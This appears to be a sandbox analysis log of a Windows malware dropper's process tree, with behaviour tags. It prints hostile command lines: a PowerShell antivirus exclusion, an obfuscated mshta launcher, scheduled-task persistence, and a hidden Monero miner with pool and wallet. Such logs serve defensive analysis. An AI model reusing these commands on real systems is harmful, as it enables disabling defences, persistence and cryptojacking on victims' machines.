C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=426311912⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0xdc,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=129423112⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471813⤵
-
C:\Users\Admin\AppData\Local\Temp\9b-75486-222-ae29f-30812c27e7a19\Kevikerelo.exe"C:\Users\Admin\AppData\Local\Temp\9b-75486-222-ae29f-30812c27e7a19\Kevikerelo.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e5agclra.tnv\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\e5agclra.tnv\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\e5agclra.tnv\GcleanerEU.exe /eufive13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6556 -s 28014⤵
- Program crash
- Enumerates system info in registry
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ydabjlxy.onh\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ydabjlxy.onh\installer.exeC:\Users\Admin\AppData\Local\Temp\ydabjlxy.onh\installer.exe /qn CAMPAIGN="654"13⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e5ipf3rl.udf\anyname.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\e5ipf3rl.udf\anyname.exeC:\Users\Admin\AppData\Local\Temp\e5ipf3rl.udf\anyname.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d5jg0x2c.oci\gcleaner.exe /mixfive & exit12⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\d5jg0x2c.oci\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\d5jg0x2c.oci\gcleaner.exe /mixfive13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5904 -s 28014⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p2jv0qzw.jzl\autosubplayer.exe /S & exit12⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\HHW8VhqD1mpntfBm3R7uMv_1.exe"C:\Users\Admin\Documents\HHW8VhqD1mpntfBm3R7uMv_1.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\HHW8VhqD1mpntfBm3R7uMv_1.exe"C:\Users\Admin\Documents\HHW8VhqD1mpntfBm3R7uMv_1.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\I01JgCfk3yuv_mO3hQxZyLLt.exe"C:\Users\Admin\Documents\I01JgCfk3yuv_mO3hQxZyLLt.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\I01JgCfk3yuv_mO3hQxZyLLt.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\I01JgCfk3yuv_mO3hQxZyLLt.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\I01JgCfk3yuv_mO3hQxZyLLt.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\I01JgCfk3yuv_mO3hQxZyLLt.exe" ) do taskkill /F -iM "%~nxw"8⤵
-
C:\Users\Admin\AppData\Local\Temp\CndH5V.EXeCndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF ""-pHMKPyuuVVnjhxYIEreJKQmnfTDzj""== """" for %w In ( ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF "-pHMKPyuuVVnjhxYIEreJKQmnfTDzj"== "" for %w In ( "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" ) do taskkill /F -iM "%~nxw"11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" bFut_Y.g_U,GpozpZJ10⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -iM "I01JgCfk3yuv_mO3hQxZyLLt.exe"9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\Neb3cjlsUPnAc9jMjMX3JAyX.exe"C:\Users\Admin\Documents\Neb3cjlsUPnAc9jMjMX3JAyX.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5472 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\lfR3Ua1Fh09yzUuYpJBCeZSJ.exe"C:\Users\Admin\Documents\lfR3Ua1Fh09yzUuYpJBCeZSJ.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5992 -s 3127⤵
- Program crash
-
C:\Users\Admin\Documents\FvjDm9fLAsLuhZLa2v8QEaIr.exe"C:\Users\Admin\Documents\FvjDm9fLAsLuhZLa2v8QEaIr.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 3007⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\SUXBm5keuXJhSQct93qqunfI.exe"C:\Users\Admin\Documents\SUXBm5keuXJhSQct93qqunfI.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\367lcpb3la8ZJ3Kn3t_WWveb.exe"C:\Users\Admin\Documents\367lcpb3la8ZJ3Kn3t_WWveb.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Q4f3mKIY2WWn5VAbaZ5mUyUV.exe"C:\Users\Admin\Documents\Q4f3mKIY2WWn5VAbaZ5mUyUV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\mkVPUAbgBceRdAVvNAWDRY4i.exe"C:\Users\Admin\Documents\mkVPUAbgBceRdAVvNAWDRY4i.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\KPqqnSubC0u89vpcFvlwiZP0.exe"C:\Users\Admin\Documents\KPqqnSubC0u89vpcFvlwiZP0.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\dotZHbI_g2DpSn6zJMFojXIC.exe"C:\Users\Admin\Documents\dotZHbI_g2DpSn6zJMFojXIC.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Nobile.docm7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm9⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.comRimasta.exe.com J9⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com J10⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Rimasta.exe.com J11⤵
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RegAsm.exe12⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Runs ping.exe
-
C:\Users\Admin\Documents\Y9rE5qexc5pP4nQeZsXF6lIL.exe"C:\Users\Admin\Documents\Y9rE5qexc5pP4nQeZsXF6lIL.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1340 -s 3007⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02902c8f8fe8.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02902c8f8fe8.exeTue02902c8f8fe8.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-F09DH.tmp\Tue02902c8f8fe8.tmp"C:\Users\Admin\AppData\Local\Temp\is-F09DH.tmp\Tue02902c8f8fe8.tmp" /SL5="$601E0,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02902c8f8fe8.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-F62LN.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-F62LN.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Windows Media Player\BOGXMHGMWI\ultramediaburner.exe"C:\Program Files\Windows Media Player\BOGXMHGMWI\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1F33V.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-1F33V.tmp\ultramediaburner.tmp" /SL5="$103A2,281924,62464,C:\Program Files\Windows Media Player\BOGXMHGMWI\ultramediaburner.exe" /VERYSILENT9⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
C:\Users\Admin\AppData\Local\Temp\0a-e9b40-79f-53bb5-c89c9b0f4a023\Hylihymaso.exe"C:\Users\Admin\AppData\Local\Temp\0a-e9b40-79f-53bb5-c89c9b0f4a023\Hylihymaso.exe"8⤵
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0x98,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514839⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18515139⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=20872159⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=42631199⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=12942319⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d0471810⤵
-
C:\Users\Admin\AppData\Local\Temp\fd-1495f-f82-bfd95-5c9670bf4ff96\Lukomifeni.exe"C:\Users\Admin\AppData\Local\Temp\fd-1495f-f82-bfd95-5c9670bf4ff96\Lukomifeni.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n2ltwfc0.ln5\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\n2ltwfc0.ln5\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\n2ltwfc0.ln5\GcleanerEU.exe /eufive10⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 28411⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vmiedtvy.uki\installer.exe /qn CAMPAIGN="654" & exit9⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\vmiedtvy.uki\installer.exeC:\Users\Admin\AppData\Local\Temp\vmiedtvy.uki\installer.exe /qn CAMPAIGN="654"10⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\vmiedtvy.uki\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\vmiedtvy.uki\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631337387 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵
- Enumerates connected drives
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u1xnmxbk.zan\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\u1xnmxbk.zan\anyname.exeC:\Users\Admin\AppData\Local\Temp\u1xnmxbk.zan\anyname.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bd05xskz.tq4\gcleaner.exe /mixfive & exit9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\bd05xskz.tq4\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\bd05xskz.tq4\gcleaner.exe /mixfive10⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 920 -s 28411⤵
- Program crash
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02718a1e8f758733.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02718a1e8f758733.exeTue02718a1e8f758733.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 2846⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0214a924af8.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue0214a924af8.exeTue0214a924af8.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue021d1ab6df10aacd4.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue021d1ab6df10aacd4.exeTue021d1ab6df10aacd4.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
-
C:\ProgramData\7298260.exe"C:\ProgramData\7298260.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3940 -s 23289⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
